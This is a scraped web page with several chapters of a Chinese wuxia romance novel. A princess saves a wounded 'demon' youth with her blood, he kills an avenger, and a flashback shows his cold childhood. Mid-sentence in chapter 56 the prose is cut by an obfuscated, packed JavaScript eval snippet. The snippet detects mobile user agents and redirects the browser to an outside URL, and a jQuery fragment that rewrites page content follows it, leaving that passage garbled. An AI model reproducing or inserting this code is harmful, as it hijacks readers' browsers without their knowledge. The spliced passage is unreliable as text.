一瞬间有一个不好的想法蹦进了陆怀袖的脑海中,巨大的恐慌感顷刻攥住她的心。她抱着最坏的打算,颤抖着手去探少年的鼻息,只感气息微弱,似有若无,但总归还有呼吸。得出这个结论之后,她稍稍松了口气,心中的不安也减弱了一分。 只是少年如今身负重伤,刚刚又经历这么一番折腾,若不赶快医治,只怕有性命危险。 她脑中飞快转过无数念头,最后抿了抿唇,蹲下身子将少年背在自己的身上,好一会儿才又迈开脚步,一边东躲西藏,一边寻找着藏身之所。好在身上的少年出乎意料的轻,长时间这样背着他,并没有让她感觉到十分劳累。 因为走的是一条小道,所以途中荆棘密布枝杈横生,陆怀袖时不时就被带刺的枝条扎到,不一会儿就伤痕累累,但她凭借着一股惊人的意志力,还是往前迈出了脚步。 功夫不负有心人,就在她快撑不住的时候,一处被藤蔓所遮蔽起来的山洞赫然出现在她的眼前。 陆怀袖心中大喜,赶紧走上前几步一把拨开了藤蔓,背着少年往洞穴走去。洞 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她的母妃颜秋白原本来自一个古老神秘的家族,因为意外救下了当时还是太子的父皇,两人因此结缘。在父皇的热烈追求下,母妃终于被打动,甘愿入太子府委身为妾,在他登基后顺理成章地被封为贵妃,并入住一直是宫中最受宠的妃子所居住的长乐宫。之后的她也是独得圣宠,父皇几乎日日宿在她的长乐宫,十几年来帝妃情深,传为世间一段佳话。 身为这个神秘家族中的一员,颜秋白的血是世间稀有的灵丹妙药,可以解毒救命,而这一特性也遗传给了她的女儿陆怀袖。 为免招致不必要的祸患,这个秘密除了她的女儿,颜秋白谁也没有告知,即便是她的枕边人。毕竟人心难测,若让人得知自己身上流着的血有这样神奇的功效,无异于稚童抱金过市,每天都要提心吊胆地活着。只有学会把秘密隐藏起来,方能保全自己。 她原本都忘了自己的血还有这个功效,也从未想过用它做点什么,未曾想自己的血也有派上用场的一天。 没有做出过多的思考,陆怀袖用匕首在自己手腕上轻轻划出一道口子,鲜血直流而下。她赶紧将手腕放在少年的唇边,殷红的血液蜿蜒而下落入到他的口中,使他苍白的唇瓣沾染上了血色,看起来竟有几分惊心动魄的艳丽。 估摸着够了,陆怀袖收回手,替自己包扎好伤口,随后又捡了一堆枯枝在地上生了堆火,耀眼的火光顿时照亮了整个洞穴,也渐渐驱散了她身体里的寒意。 做完这一切之后,她单手托腮看着仍然昏迷不醒的心上人,火光照在他脸上明明灭灭,他那纤长浓密的睫羽在眼睑上投下一片鸦翅般的阴影,整个人安静得像一座白玉雕刻的雕像。 她一眨不眨地盯着他,不可自抑地回想起水下那个吻来,双颊倏地飞红,就算用手扇风也丝毫不减热气。她突然有些庆幸对方还在昏迷中,这就意味着他看不到自己此刻的模样。 陆怀袖拍拍脸颊让自己不再去想那件事,之后又将视线投向闭着双眼不省人事的的少年,忽然间心念一动,双手合十向神明祈祷,一定要保佑那个家伙平安无事,再度神采飞扬起来。 54. 旧恨 意识逐渐开始恢复,薛矜缓缓睁开眼睛,待适应了光线后发现自己正身处一处洞穴内,而陆怀袖靠在洞壁上,竟然抱着双膝睡着了。她的面容上带着显而易见的疲累,看样子是经历了好一番折腾。 他最后的记忆停留在上岸的瞬间,然后就眼前一黑、人事不省了。他若有所思地望向面带倦容的少女,猜测定是对方在他昏迷不醒的时候,一路将他背入了洞穴的。一想到对方宁愿陪他跳下湖也不愿意回去,他看向她的眼神中也终于多了几分柔和。 正巧这时陆怀袖嘤咛一声醒了过来,刚睁开眼就与他的视线对上了,两人四目相对,一时间空气都安静了。她怔愣片刻,随后咧嘴一笑,倍感惊喜地开口道:“太好了!你终于醒过来了!” 薛矜闻言顿了顿,而后淡笑着说道:“我不是跟你说过祸害一千年吗?像我这样的大恶人,活一万年都不成问题,哪那么容易死啊?” 陆怀袖看到他这般若无其事的样子,脑海中瞬间想到了他的真实身份,犹豫再三还是忍不住问道:“你真的……真的是……”她说到这里,似乎是有些难以接受,一时住了口不再往下说。 薛矜却偏偏听懂了她的未尽之意,他丝毫没有遮遮掩掩的意思,大大方方地承认道:“你想得没错,我就是个无恶不作的大魔头,因为行事恶劣、手段狠辣,为江湖正道所不齿,这才被他们群起而攻之。” 虽然早就知道答案,但听他亲口承认,陆怀袖心中说不上来的滋味。老实说,她早已将少年视作自己的心上人,但她能否坦然接受自己喜欢的人是个人人喊打的大魔头,还犹未可知。 尚不知自己心思的她决定换个话题,毕竟他们好不容易才见到面,可不能浪费这次机会,于是她问出了自己最想知道的问题:“那天你为什么要抛下我独自离开?”她说罢紧紧地盯着少年,审视的目光一寸寸扫过他的脸庞,不放过任何蛛丝马迹。 薛矜似乎早就料到她会问这个问题,倒是惊讶于她这么晚才问出来。他迎上少女审视的目光,顿了顿方道:“我本来打算送佛送到西的,谁曾想临时接到一个任务,这才中途离开,并非有意为之。” 陆怀袖见他微微垂下头,脸上透出一点歉意,那模样不似作伪,心中的气顿时消了一大半。看来对方是事出有因,并非中途反悔。算了,好像也不是不能原谅他。 她忽然又想到什么,唔了一声,问出下一个问题:“照你的说法,你是去执行任务了,之后又是怎么落得个被围攻的下场?” 听得此问,薛矜装模作样地叹了一口气,语气带了点惆怅意味:“我之前不知道这个任务其实是个引蛇出洞的圈套,结果阴沟里翻船了,被早就埋伏在周边的正派人士打了个措手不及。”下意识的,他对自己中毒一事避而不谈。 尽管心中泛起了丝丝心疼,但陆怀袖还是板起脸,装出一副严厉的样子训斥道:“叫你尽干些丧尽天良的事!活该被摆了一道!” 薛矜听了少女的话也没生气,反而微笑着说:“你说的没错,恶人当有恶报。”他说到这里,忽地调转话头:“陆小姐,哦不,我现在该尊称您为公主殿下。我们注定不是一条路上的人,你以前不知道我的身份才选择与我同行,现在知道了,还要与我这恶贯满盈之人为伍么?” 他的声音明明那么轻柔,说出的话却像是一记重锤砸在陆怀袖的心坎上。那个被她刻意忽略的问题再度涌上脑海,她紧紧咬着下唇,脸上带着显而易见的纠结,无法接受却也难以割舍。 薛矜将她的神色尽收眼底,了然一笑道:“殿下救命之恩,在下不敢或忘,日后有机会,一定会报答一二。只是我二人道不同不相为谋,早晚有一天会决裂,不如现在就分道扬镳,也省的日后纠缠不休。” 陆怀袖默不作声地听完少年的话语,心里莫名憋着一股气,而且那股气越来越膨胀,似乎快要从胸膛破出。她攥紧衣袖,深呼吸口气,用尽量平稳的声音说道:“你要赶我走?” 薛矜早就料到她会这个反应,心中叹息一声,面上却摆出一副无懈可击的笑容:“殿下时间宝贵,理应花在更有价值的事情上,莫要在我这卑鄙小人身上白白浪费了。” 他的话音刚一落地,原本靠坐在洞壁旁的陆怀袖霍地站起身,随后又狠狠瞪了他一眼才往洞外大踏步走去,全程连头都没有回一下,看那架势是真的打算再也不回来了。 薛矜望着她的背影直到化为一个小黑点,这才收回了视线。他并不觉得自己做了坏事害了人,相反,这是他这辈子做下的少有的几件好事之一,毕竟那位姑娘值得拥有更好的未来,不该陪时日无多的他走向末日。 见她走远,他挣扎着想要站起身,却不小心牵动了伤口,痛得又跌坐下去。他捂着胸口闷哼一声,只觉得自己丹田隐隐作痛,心想那老和尚的大力金刚掌果真威力惊人,他硬生生挨了一掌,虽不至于顷刻毙命,但一时半会也好不了,再加上那奇诡莫测的醉神花毒,他怕是要静心调养一段时间,方能安然无恙地离开这座洞穴。 只是屋漏偏逢连夜雨,就在他刚决定好在此静养时,一道瘦长的人影倏然出现在山洞中的篝火旁,而他因为身中醉神花毒的缘故,甚至没有察觉到这位不速之客的到来。 他心里浮现出不祥的预感,皱着眉头看了那人一眼便移开了目光——来人并非陆怀袖,而是一位……故人。此人一袭儒雅飘逸的青衫,仪表堂堂,颇有芝兰玉树之风,看起来就像一位家世显赫钟鸣鼎食的贵公子。 真是善者不来来者不善,看来他的人缘不是一般的差啊,找他算账的人是一个接着一 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听他这么一说,赵公子双眼都快要喷出火来,简直恨不得将他剥皮抽筋了才痛快。就是眼前这人,三番五次拿他当猴耍,最后还当着众人的面夺走他的贴身佩剑,让他名声扫地,彻底沦为家族耻辱和江湖笑柄,从此“年轻一辈中的翘楚”这一名头与他再无关系。 所有的一切都是这笑得一脸纯真的少年导致的,他就是罪魁祸首。自那一战过后,他不想听旁人闲言碎语,便躲在屋子里不敢出门,连吃的喝的都是指定的小厮仆役亲自送上门。 他原本以为自己的后半辈子就要这么黯淡无光下去,谁料数月后事情迎来了转机,他意外得知围剿薛摇光的计划,意识到这是个报仇的好机会,当即毛遂自荐加入了屠魔队伍。 虽然这魔头挟持公主跑掉了,但皇天不负有心人,经过百般搜寻,他总算是找到了对方的藏身之所。此时的大魔头身受重伤,就像砧板上的鱼肉,任人宰割,这可是千载难逢的报仇机会,他是万万不会放过的。 似乎想到了什么,他眼中精光一闪,随即发出一声了然的轻哼,慢悠悠地开口道:“你死到临头了还敢犟嘴,想必是为了激怒我,让我给你个痛快的死法,一剑结果了你,也免得受那些无穷无尽的酷刑。” 眼见少年因为他的话,面上的表情有一瞬间的皲裂,他心里陡然生出一股快意滋味,故意拖长了调子补充道:“我偏不如你的愿。你这魔头害得我名声尽毁,今日若不将你千刀万剐,实难解我心头之恨。” 他说完这番话,当即拔出腰间佩剑,依旧削铁如泥吹毛断发,却不是当初用的那把碧水剑。自从被少年当众夺走后,他就将那把剑扔进了湖底,以此逃避失败。如今他就要用叔父为他寻来的新佩剑一雪前耻,沾满仇敌鲜血的剑,想必以后会更加的锋利。 赵公子手提长剑,一步一步朝少年走去,雪亮的剑身倒映出他扭曲的面容,那双长眸滴血似的发红。而随着他越发逼近,等待少年的,似乎就只有被凌迟处死的命运。 55. 偷袭 气鼓鼓地走出洞穴后,陆怀袖原本真的打算再也不回去了。她好心好意救那家伙,那家伙却打着为她好的名号赶她走,实在是太过分了。 只是不知怎的,她越往前走,脚步就越慢下来,好像腿上绑着千斤重的东西似的,走到最后简直慢过蜗牛爬。她克制住自己想要回头的冲动,缓慢地迈开步伐,又走出一段路,但预想中的挽留始终没有到来,四周除了鸟鸣声就只有她自己的脚步声。 什么嘛……那个家伙就这么让她跑了,连追都不追……他到底在干什么啊…… 她越想越气,猛地停住脚步,暗自在心中翻来覆去骂上一百遍“薛矜是个大笨蛋”后,狠狠地跺了几下地面,随即捏紧拳头转身往回走。她一边走一边重重哼了一声,自言自语道:“想赶我走?我偏不如你所愿!” 少女就这样自我催眠着,绝口不提自己内心其实早就盼着回去。只是离洞口越近,她就越发感觉步履艰难,实在不知自己该以何种姿态回归,才不会被那个家伙笑话。 她思来想去,决定待会和那个家伙面对面的时候,再次恶狠狠瞪他一眼,然后宣称自己是为了跟他对着干才回来的。即便糊弄不了对方,气势上也不能输。 如此这般想着,陆怀袖满意地点点头,正打算拨开洞口的藤蔓钻进去,可还没进洞,就听见洞内传来一个陌生男子的声音,那人语气里的恶意几乎要实质化,听在她耳中令她不寒而栗。 ——“你死到临头了还敢犟嘴,想必是为了激怒我,让我给你个痛快的死法,一剑结果了你,也免得受那些无穷无尽的酷刑。” ——“我偏不如你的愿。你这魔头害得我名声尽毁,今日若不将你千刀万剐,实难解我心头之恨。” 这番话字字句句都是在敲打陆怀袖,她吓得脸色刷一下就白了,随后浑身止不住地颤抖起来。从那人刚才说的话可以判断出来,此番怕是仇家找上门来了。 她按捺住心头翻涌的不安,轻手轻脚拨开藤蔓,屏息静气地观察洞内情况。从她的角度只能看见那人手提长剑朝少年逼近,时不时发出一声狂笑。虽然看不见对方的脸,但她完全能想象到他此刻神态定是愉悦的。 即将手刃仇敌,谁都免不了一番心潮澎湃,只是陆怀袖却不似他这般喜上眉梢,她拼命忍住想要冲上前去的冲动,四下搜寻着一件趁手的武器。眼角余光忽然瞥见地上的一根木棍,她赶紧上前去把它捡了起来,握在手中,心一横冲进了洞穴里。 在她原本的设想里,她会在那人背后偷偷给他一记闷棍将他敲晕,然后赶紧带着少年转移阵地,找到下一个藏身之所。她心里的小算盘打得噼里啪啦直响,谁料人算不如天算——尽管她尽量隐藏起自己的气息,迈着轻到不能再轻的步子朝他慢慢靠近,但在与对方仅一步之遥的时候,还是不可避免地被他察觉到了。 就在她猛地将木棍挥向他的后脑勺时,那人像是早有预料一般,一个闪身便轻松躲开了。陆怀袖见自己一击落空,心中暗叫不好,脑中飞速运转,想着下一步该怎么做才能力挽狂澜,然而接下来的一幕却令她瞪大了眼睛,完全忘了自己现在的境地。 尽管那人轻松避开了她这一击,但薛矜却抓住他分神的这一宝贵时机,如同暗夜里蛰伏的猛兽,给自己的猎物出其不意的一击。她只见少年干净利落地挥出一刀,速度快得肉眼根本无法捕捉,只能看到一道黑色的残影。 残影一闪即逝,那么迅速,那么突然。男子不但应声倒地,而且还是再也倒地不起。她能看到对方的脖颈上有一道切口整齐的血线,极细且极深,显然是被一击致命。 那人嘴角微微上扬,脸上仍然带着即将大仇得报的畅快笑意,显然是还没反应过来便已命丧黄泉。这一切不过发生在电光火石之间,然而局势已然发生了天翻地覆的改变。 方才还处于弱势地位的少年成功将敌人送入地狱,暂时逃离危险。可陆怀袖眼睁睁看着一条鲜活的生命就这样消逝在自己的面前,无论如何都镇定不下来。她目光呆滞地看着这个素未谋面之人的尸体,紧攥着木棍的手,骨节用力到发白。 ——是她害死了这个人。若非她这个半路杀出来的程咬金,他也不至于落得如此下场。 陆怀袖脑海里瞬间蹦出这个念头来,对此人的愧疚就像一把利刃狠狠刺入她的心脏,反复搅动,这简直比杀了她还要让她难以接受。她脸上一副快要哭出来的表情,死死咬着下唇,几乎要把嘴唇咬破,才没让自己当场崩溃。 她看着地上死不瞑目的尸体,突然感到一阵恶心,连带着胃里都翻江倒海的难受起来。强烈的不适感让她忍不住偏过头去,俯下身子一阵干呕。 薛矜看着人呕了半晌却什么也呕不出来,冷不丁地开口道:“这就受不了了?忘了告诉殿下,像这样死在我手上的人不胜枚举,如果您执意要跟着我的话,时不时就能看到这样的场面。” 陆怀袖闻言缓缓起身,此时的她陷入了另一种为难的境地。这一次,她也不由得在心中一遍又一遍叩问自己:她真的能忍受这个家伙的恶行,并对此习以为常见怪不怪么? 薛矜似乎看穿了她的心思,淡淡开口:“我之前就说过,殿下和我根本就是两个世界的人,又何必要勉强自己接受呢?亲眼目睹了那一幕后,您现在该相信我说的话了吧?” 他说罢,又将视线投向了陆怀袖,满以为她听了之后会气得一走了之,就像之前那次一样。岂料事情的发展好像跟他想象的不太一样,少女非但没有被气走,反而俯身捡起了赵公子掉在地上的宝剑。 这令人摸不着头脑的举动,让向来波澜不惊的薛摇光都顿了一下,他的脑海中一瞬间闪过一个念头——难不成这位小公主终于看不下去他的恶行,打算一剑杀了他为民除害? 可出乎他意料的是,那位尊贵无比的公主殿下并未挥剑砍向他,而是走到 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陆怀袖表情顿了一下,似乎是没想到他会问这个问题。片刻之后,她回过神来,垂下眸子幽幽地说道:“我出于何种目的这样做,你真的不懂吗?” 这个反问一下子把问题抛回给了他,饶是向来淡定的薛矜此时也不禁俊脸薄红,不知所措。他一时不知如何回答,轻咳了两声以掩饰自己的尴尬。半晌过后,他才听到自己说:“你喜欢我,对吗?” 自己那点心思被人当面戳破,陆怀袖心下一紧,却又莫名地感到一丝释然。她抬眸直直地看进少年的眼中,不再隐藏情感,鼓足勇气问出一句始终不敢问出的话:“那、那你是怎么看我的?” 豁出去地说完这句话以后,陆怀袖用眼神紧紧地锁住少年,不准他逃避问题。既然她都说到这个份上了,那就一定要个答案,即便这个答案并不尽如人意。 回应她的是沉默,长久的沉默。她深呼了一口气,心底紧张得不行,但她没有出声催促,依然耐心地等他开口。不知等了多久,少年终于对此做出了回应:“我怎么看你并不重要,重要的是我不会喜欢你的。” 虽然早就料到会有这么一个回答,但亲耳听到对方说出来,陆怀袖却还是有些凄楚,只觉得心都碎成了几瓣。她紧紧咬着下唇,一时间无法消化亲耳听到的话,沉寂许久才艰涩地开口问道:“我能问问这句话是什么意思吗?” 薛矜低垂着眼,想要避开少女伤心的眼神,但过了好久,他仍然能清晰地感受到她的目光落在自己身上,始终不离开。他被看得十分不自在,终于意识到不回答是不行了。斟酌再三之后,他徐徐说道:“因为我从出生起就注定不会喜欢上任何人。” 余光瞥见少女顿时瞪大了双眼,一副不敢置信的模样,他停顿了片刻,重新措辞后复又开口:“我说的都是真的,没有在骗你。那是一个很长很长的故事,听起来很荒谬,但却很真实。” 56. 恶童 薛矜阴沉着脸往自己所居的院落走去,水滴时不时从他衣服上滴落,浸湿了一片地面。此时的他浑身湿淋淋的,就像淋了雨的落汤鸡一样,看上去好不可怜。 他一进院子里,映入眼帘的便是那个正举着斧子在劈柴的女人。那个女人身形窈窕,形容秀美,端的是个不可多得的美人。只是这位不可多得的美人却着一身素纹碧裳,全身上下最值钱的估计就是她鬓发间斜插着的那支碧玉凤簪。像她这样天仙似的大美人,却在干着劈柴这样的粗活,着实有些暴殄天物的意味了。 女人听到院门打开的动静,抬眸望了过去,只见浑身湿透的男孩朝她走了过来,全程低垂着眼眸一言不发,明显一副做错了事的模样。 她一愣之后放下斧子,忙不迭迎了上去,弯下腰跟他视线平齐——此时的薛矜年仅七岁,还只到她的腰间。 眼见她看着自己皱了皱眉头,薛矜已经能猜到她接下来会说什么了,在她未开口之前就打断了她:“我不小心脚滑掉进池子里了。”他说完,又强调似的补充了一句:“你别想太多。” 女人听他这般说,脸上的愁容也渐渐地敛去。薛矜不动声色地将她的神色尽收眼底,随后垂下纤长的眼睫,遮住了眼底深处的阴鸷与狠戾。 他刚才那番话当然是骗她的。他之所以变成这副模样,全拜他的兄长所赐——那个肥头大耳的小胖子亲手将他推下池塘,看着他在池子里扑腾来扑腾去的狼狈模样笑得前仰后合。 他在水中扑腾了好一阵,许久才爬上岸。所幸池子的深度不是很深,不至于让他溺毙而亡——也许他的兄长一早就已经知道了,所以才敢推他下水。 不,虽然他们身上的确流着相同的血液,但薛矜可不承认他是自己的兄长。 他的娘亲薛知意,也就是面前这个半弯着腰看着他的女人,出身于烟墨镇最有名的经商世家,家中以卖米为主要经营,坐拥家财万贯,良田千倾,可谓是富甲一方。 她相貌出众,家世显赫,本该无忧无虑地过完这辈子,可谁知七年前的她疯狂迷恋上一位名唤林白的落第举子,甚至到了非他不嫁的地步。薛氏夫妇起先强烈反对,但林白动作更快,生米煮成熟饭,等到他们想棒打鸳鸯时,发现自家女儿早已珠胎暗结。 夫妇俩见木已成舟,纵然不喜欢也没法,只能招他入赘。两人奉子成婚,不久后诞下麟儿。他们打心眼里瞧不上这个便宜女婿,却对生就一副好皮囊的孙儿喜欢得很,还亲自给他取名薛矜,希望他一辈子都是个骄傲矜贵的小公子。 只不过在他出生那天,成群的乌鸦在院子上空盘旋不止,经久不散。当时有个云游道士正好路过此地,见天生异象,立马上薛家登门造访,宣称此子是魔星降世,生来注定给周围带来灾难,劝夫妇俩早点将孙儿送入他的门下,免得日后为祸苍生。 薛氏夫妇听罢大怒,当即便下达了逐客令,那道士见夫妇俩冥顽不灵,也不强求,发出一声长叹后便消失得无影无踪。 两人并未将这一插曲放在心上,精心呵护孙儿长大,给了他无微不至的爱。可谁知天有不测风云,在孙儿三岁时,他们因病去世,家中势力顺理成章地被女婿接管,从此薛家名存实亡,成了女婿的一言堂。 在岳父岳母死后,林白再也没了顾忌,终于露出真面目,不仅对夫人态度大变,还将她的贴身丫鬟纳为小妾。更令人发指的是,两人在私底下早已暗通款曲,甚至连孩子都有了,比薛矜还大半岁。 当他的娘亲终于有了名分时,他也堂而皇之地进入薛家,过上了锦衣玉食的生活。在一家之主的有意偏袒下,两人对着薛氏母子颐指气使,甚至将他们打发到最远的偏僻院落里去,让他们自给自足,美名其曰节衣缩食削减开支。 之后的几年里,薛氏母子被他们百般针对,整日在自己家中过着水深火热的日子,两个老人家若是泉下有知,怕是要被气得活过来。 但薛矜也不是好欺负的,面对那位兄长的故意刁难,他坦然自若,如数奉还,三番两次将其折腾得哭爹喊娘。有一次他甚至使计让小胖子被马蜂叮得满身大包,红着眼睛跑到母亲那里告状。 虽然最后的结局以他被按着跪倒在地砖上告终,但他并不在乎。他就是这么个睚眦必报的性子,见不得自己被单方面欺负,拼着两败俱伤也要让对方付出惨痛代价。 不知为何,在做出这种对孩童来说过于残忍的行为时,他就没有任何心理负担,自然得好像吃饭喝水一样。更奇怪的是,他似乎不爱任何人,包括将他生下来的薛知意。即便她一手拉扯他长大,他也生不出一丝孺慕之情。 他似乎是天生恶童,永远学不会爱人,此生注定要与黑暗为伴,正如那个道士所说的那样。 虽然他一直在那个女人面前听话懂事,但他只是单纯觉得如果自己不听话惹得她难过了,哄她开心要花很长时间,这很麻烦。所以他试着去扮演一个乖孩子的角色,让她放下心来,不折腾自己。 事实证明他扮演得很成功,他从来没有让薛知意操过心,他一直是她的精神支柱,即便两人年龄相差悬殊,他是七岁而她是二十四岁。 薛矜正低着头神游物外,忽然感觉自己的衣服被轻轻拽了拽,紧接着女人满是关切的声音在头顶响起来:“你赶紧进屋换身衣服,别着凉了。” 他听罢点点头,晶莹剔透的水珠顺着头发往下掉,随后依她所言,迈步朝里屋走去。只是在转身背对她的一瞬间,他稚嫩的脸上又显出几分与年龄不符的阴冷之色。 不久前发生的那件事他没告诉她,因为他心里明白告诉她也没用,除了让她又躲在角落里偷偷抹泪之外,什么也改变不了。但这不代表他会原谅推他下水的罪魁祸首,他发誓他会让对方为自己愚蠢的行为付出惨痛的代价。 * 窸窸窣窣一阵响动过后,薛矜将湿透的衣物全数换下,缠绕在身上的那股粘腻感总算是消失了。 他推开屋门走了出去,却不见薛知意的身影,院子里除了他空无一人,斧子被扔在地上,无人问津。他眉心一跳,突然就有一种极其不祥的预感涌上心头。每当他有这种感觉的时候,接下来必定会发生不好的事情,在七年的时间里,这一结论从未出错。 强行压下心头的不安,他提步往门外走去,想看看薛知意是否在他换衣服这段时间出了门。谁知刚踏出门,他就碰到一个讨厌到极点的人——他那便宜爹,林白。 只是此时此刻,那人不似平日里那副道貌岸然的儒雅样子,跪在地上瑟瑟发抖,脚边还有一滩可疑的水渍,闻起来有一股非常微妙的……骚臭味,结合他此时的动作,很难不让人联想到发生了什么。 薛矜掩去眼底的浓郁厌恶,再次抬起眸子时,已经换上了一副焦急的神色。他故意踉跄了下,才慌慌张张地跑到他那便宜爹面前,吸吸鼻子,带着哭腔问道:“爹,您看到阿娘了吗?她到底去哪儿了?” 林白似乎还没从恐惧中回过神来,依旧抖得跟个鹌鹑似的,什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13284190|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话也听不见。直到男孩又问了一遍,他才如梦初醒般回过神来,用手指指向薛知意消失的地方,颤抖着声音道:“她……她被一个和尚扛着朝那个方向去了……” 他话音刚刚落下,薛矜撒开腿便往那个方向跑去了,之后看都不屑看他一眼,生怕污了自己的眼睛。 耳边风声呼啸而过,呼吸进来的冷空气尖锐地刺痛着肺部,但薛矜丝毫没有放慢脚步的意思,用着自己平生最快的速度竭力狂奔。所幸那名恶僧并未走远,还真让他这么个七岁稚童给追上了。 薛矜在他面前站住了脚跟,阻住了他前进的步伐,同时张开双手拦着不让他走。 那和尚见跟前站立一人,阻住了他的去路,当即面露不悦之色,又见对方只是个瘦得萝卜丁似的小孩,便起了轻视之心,恶声恶气地警告道:“谁家小孩,敢来挡爷爷的路?速速滚开,免你一死。” 眼前的和尚面若钟馗,五大三粗,一看就不像易与之辈,但薛矜并未被他的杀气吓退,反而剜了他一眼,声音冷若冰霜:“你快放开我娘,不然我要你好看。”说完这话,他又把视线投向了被这恶僧扛在肩上的薛知意,她被对方毫不留情的一记手刀砍晕过去,此时正昏迷不醒。 他这般大放厥词,倒把和尚给气笑了。要知道他可不是真和尚,而是临县的一个泼皮无赖,假扮和尚只是为了方便行事,好借着化缘打听情况,将独自在家的漂亮女子打晕扛走,然后将她们卖去窑子换钱,以此谋生。他既然是个冒牌货,自然也不需要守什么佛门戒律,这小孩敢挡他的道,那他可就要动真格的了。 然而下一刻,意想不到的事情发生了——那小鬼忽然扑过来抱住他的腿,死死不放手,同时口中大声呼救,希望能引来附近老百姓的注意,可惜这个地方人迹罕至,短时间内恐怕不会有人来见义勇为。 完全没料到这一出的和尚当场怔住,反应过来后气得肺都要炸了,拎起碗大的拳头就往他脑袋上砸,砸了一下又一下。 拳头如雨点般落在薛矜的头上身上,打得他头昏眼花,七荤八素。急于脱困的和尚自然下手一点轻重也没有,拳拳到肉往死里打,即便是铁打的人也经受不住,早就跪地求饶哭爹喊娘了。但这个身形矮小瘦弱的男孩却偏偏硬气得很,双手死死抱住他的腿,说什么也不放手。 那恶汉此时此刻倒真有些佩服这个男孩了,只觉他和他爹真是截然不同的两个人,那个窝囊废被他一吓,立马跪地求饶,连个屁都不敢放,可他的儿子却是个硬骨头,任凭自己怎么打就是不松手。 不过就算他再怎么佩服这个小孩,再让其这么喊下去,自己说不定就要偷鸡不成蚀把米了。为了不让其妨碍自己,他心一横,一拳砸了过去,几乎使出了十成十的力道,准备一拳送其归西。 就在他的拳头临近薛矜脸颊,下一刻就要将其打得脑袋开花时,他忽然感到肩上一轻,紧接着原本被他扛在肩上的薛知意倒进陌生男子的怀里,那个死死抱着他腿不放的男孩随即也被拎小鸡似的提到一边。 他心中一时惊疑不定,难不成还真让那小鬼唤来了救兵?还没等他看清这个不速之客的面容,他就被人当胸踹了一脚,整个人仿佛断线风筝一般向后飞去,直到飞出数丈之远才轰然倒地,溅起尘土飞扬。 此时的薛矜被血糊了一脸,几已看不出本来面目,但他全凭一口气撑着,将这一切尽数收入眼底。当他确信他们母子二人已经成功获救时,终于放任自己陷入到一片混混沌沌的黑暗中。 57. 秘辛 薛矜的意识在黑暗中浮浮沉沉了不知道多久,忽然能够清楚的感知到周围的一切。他察觉到自己身上的伤全都被上了药,疼痛渐渐退去,隐隐约约还能听到一男一女在对话。他不知怎的没有睁开眼睛,选择继续听下去。 女人的声音宛若黄鹂般动听悦耳,除了他娘亲薛知意之外别无二人,只听她对那个男人感激地说道:“这次多亏你出手相助,不然我们母子俩可就大祸临头了。” 男人沉默良久之后,才缓缓地说:“你不必谢我,我不过是刚好路过,听到那孩子的呼救,这才及时救下你。你最该感谢的是你的儿子,若非他拼死拖延时间,我也来不及救你。” 薛矜躺在床上假装闭着眼,将他俩的对话听得一清二楚,不禁在心中暗道:“难道他们之前认识?” 他正想着,忽然又听男人开口道:“你真该休了你的丈夫,他有什么好的,不过是个在自己女人陷入危险境地时只会跪地求饶的懦夫,还三心二意朝秦暮楚,根本不值得你一往情深。” 薛矜听了,嘴上一言不发但心中狠狠点头应和。他打心眼里瞧不上那个道貌岸然的伪君子,所以听到这番话,他非但没有生气,反而深表赞同,甚至想拍手称快。 与他的态度截然相反的是薛知意的态度,好一会儿,她才幽幽地叹息道:“我知道他有万般不好,可我……可我不知怎的就是离不开他。” 薛矜对她的回答并不意外,然而心中却略微有些不爽。他知道他的娘亲对那个伪君子向来是言听计从的,所以对方才敢对她颐指气使。有时候他甚至会替她感到不值,但她似乎并不那么觉得,依旧像献祭似的爱着她的夫君。 在薛知意说出那番话之后,气氛一时之间陷入了凝滞。又过得许久,那个男人才艰涩地开口道:“唉,我就是随口一说,你别放在心上。”没等她回话,他又接着说道:“我还有事,先走了。你以后若是遇到了麻烦,尽管来找我。” 薛知意闻言轻声应道:“我知道了。” 在她话音落下不久后,薛矜听到一阵沉稳利落的脚步声响起。很快,脚步声消失了,周围忽然安静得有些诡异,屋子里只剩下母子两人。 薛矜意识到自己该醒了,便缓缓地睁开了双眼,四下打量一番,才发现自己身处一间药铺,而他的娘亲正坐在他的床头垂眸看着他,一副心事重重的模样。 见他醒来,她脸上的愁容一扫而光,想也没想便扑上去一把抱住他,用力之大,几乎要把他的肋骨弄断了。但他却没有推开她,任由她像是抱着失而复得的珍宝一样抱着自己。 不知过了多久,薛知意总算意识到自己的行为有多么不妥,连忙松开了他,一脸关切地问道:“我是不是碰到你的伤口了?你疼不疼?” 薛矜轻轻摇了摇头道:“没那回事,你别多想。”见对方一脸打破砂锅问到底的模样,他眼珠一转立马转移了话题:“对了,那个救下我们的好心人在哪?怎么没看见他?” 薛知意听他如此一问,果然止住了话头,犹豫了片刻,才复又开口道:“他刚离开不久,可能有要事需要处理吧,毕竟他现在可是个不折不扣的大忙人了。” 薛矜听罢来了兴致,装作一副懵懂无知的样子问道:“莫非你们之前认识?” 回答他的是长久的沉默。就在他以为对方不会再回答的时候,忽然见她伸手摸了摸自己鬓间的碧玉凤簪,随后对着他笑了笑,用只有他能够听到的声音说道:“算是吧。” 薛矜闻言若有所思地看着她,但对方脸上的神色太过复杂,让人无从分辨她究竟是悲是喜,是忧是乐。 * 拐卖事件过去一个月后,薛矜身上的伤也好的差不多了,因为养伤而被迫推迟的计划也再度涌入脑海,比如狠狠报复那个曾将自己推下水的兄长。他向来睚眦必报,如果不整死那个人,他可咽不下这口气。 在夜色掩映下,他悄悄潜到窗畔,谨慎地观察屋内动静,准备等屋主熄灯之后扮鬼吓他。谁知就在这时,他听到屋内传来的交谈声,听声音正是他的便宜爹林白和姨娘彩珠。 薛矜起初愣了一愣,不过很快就回过神来,毕竟林白对那个小胖子可谓是宠爱有加,时不时就来此看望他,所以在他这撞见那对狗男女也没什么好奇怪的。 